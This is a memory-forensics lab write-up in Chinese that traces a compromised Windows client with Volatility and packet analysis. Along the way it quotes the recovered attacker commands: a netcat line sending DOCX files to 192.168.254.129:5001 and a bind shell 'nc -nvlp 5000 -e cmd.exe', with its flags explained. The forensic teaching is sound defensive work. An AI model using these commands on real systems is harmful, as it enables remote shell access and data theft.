以下案例來自先前數位鑑識課程中的 Memory Forensics 實作題目。
這次的情境是一台 Client Computer 遭到入侵,並且有資料被外傳。
需要確認:
.docx 檔案首先使用 imageinfo 查看 Memory Image:
volatility_2.6_win64_standalone.exe -f memdump.mem imageinfo

可以看到 Volatility 提供了多個 Suggested Profile:
Win8SP0x64
Win81U1x64
Win2012R2x64_18340
...
Suggested Profile 不代表第一個一定正確,因此實際分析時還需要搭配不同 Plugin 的執行結果確認。
如果出現 Process Name 亂碼、Plugin 沒有結果,或其他明顯不合理的輸出,就要再嘗試其他 Suggested Profile,這次一開始主要使用 --profile = Win8SP0x64。
接著使用 netscan 查看 Memory 中留下的 Network Connection。
volatility_2.6_win64_standalone.exe -f memdump.mem --profile=Win8SP0x64 netscan

其中有一筆值得注意的連線:
Local Address Foreign Address
192.168.254.161:5000 → 192.168.254.129:60302
State: ESTABLISHED
PID: -1
代表在 Memory Capture 時,兩台主機之間存在一條 Established TCP Connection。
這裡 PID 顯示為 -1,代表 Volatility 沒有從這個 Network Object 成功解析出 Owner Process,不能只靠這個結果直接判斷 Process 被 Rootkit 隱藏,因此還要繼續從其他 Artifact 往下追。
另外使用 NetworkMiner 查看封包後,可以看到 192.168.254.129 被 Fingerprint 為 Kali/Linux。
不過 Kali/Linux 本身不能證明這台主機就是攻擊者。
真正重要的是後面還能看到它和受害機之間的控制連線及檔案傳輸。
前面使用 Bulk Extractor 產生的 packets.pcap,可以再丟進 Wireshark 分析。

封包中可以看到:
192.168.254.129:60302
→
192.168.254.161:5000
表示 192.168.254.129 主動連向 192.168.254.161 的 Port 5000。

接著查看 Packet Payload,可以看到:
nc -nv 192.168.254.129 5001 < E:\Work\W-199800000312-011.docx
另外還能找到
W-199800001111-022.docx
W-199800000312-011.docx
W-200100001003-013.docx
也就是受害機透過 Netcat,把這三個 DOCX 傳向:
192.168.254.129:5001
也可以利用 Volatility 的 filescan,確認這些 DOCX File Object 曾存在於 Memory 中。
在這裡一開始用 --profile = Win8SP0x64 搜尋 .docx 時沒有結果,改用 Win81U1x64 才成功找到檔案。
volatility_2.6_win64_standalone.exe -f memdump.mem --profile=[Profile] filescan | findstr /I /C:".docx"

所以目前已經可以把資料外傳方向整理成:
Victim
192.168.254.161
↓
DOCX
↓
192.168.254.129:5001
Attacker
使用 psxview 可以從不同方式比較 Memory 中的 Process。
volatility_2.6_win64_standalone.exe -f memdump.mem --profile=[Profile] psxview

其中可以看到系統中存在兩個 cmd.exe,PID 分別為:
cmd.exe PID 300
cmd.exe PID 1608
光是有兩個 cmd.exe 並不能直接判斷哪個有問題,所以再利用 pstree 查看 Parent / Child Relationship。
volatility_2.6_win64_standalone.exe -f memdump.mem --profile=[Profile] pstree

結果可以看到:
explorer.exe PID 2388
└─ cmd.exe PID 1608
├─ conhost.exe PID 1832
└─ nc.exe PID 2420
└─ cmd.exe PID 300
這時 PID 300 的 cmd.exe 就值得特別注意。
因為它並不是單純由使用者直接開啟,而是:
cmd.exe
↓
nc.exe
↓
cmd.exe
最後使用:
volatility_2.6_win64_standalone.exe -f memdump.mem --profile=[Profile] cmdline

可以看到 PID 2420 的 nc.exe 啟動參數:
nc -nvlp 5000 -e cmd.exe
拆開來看:
-n 不做 DNS Resolution
-v Verbose
-l Listen Mode
-p 5000 在 Port 5000 Listen
-e cmd.exe 連線建立後執行 cmd.exe
也就是:
nc.exe PID 2420
↓
Listen TCP/5000
↓
192.168.254.129:60302 連入
↓
啟動 cmd.exe PID 300
因此這裡並不是 Reverse Shell,而是 Bind Shell。
攻擊者可以透過 192.168.254.161:5000 連入受害機,並取得 cmd.exe 的遠端命令介面。
而另一條 Port 5001 的連線,則被用來將 DOCX 傳回 192.168.254.129。
最後整個事件可以串成:
192.168.254.129
│
│ TCP 60302 → 5000
▼
nc.exe PID 2420
│
▼
cmd.exe PID 300
│
│ 執行檔案傳輸指令
▼
nc → 192.168.254.129:5001
│
▼
W-199800001111-022.docx
W-199800000312-011.docx
W-200100001003-013.docx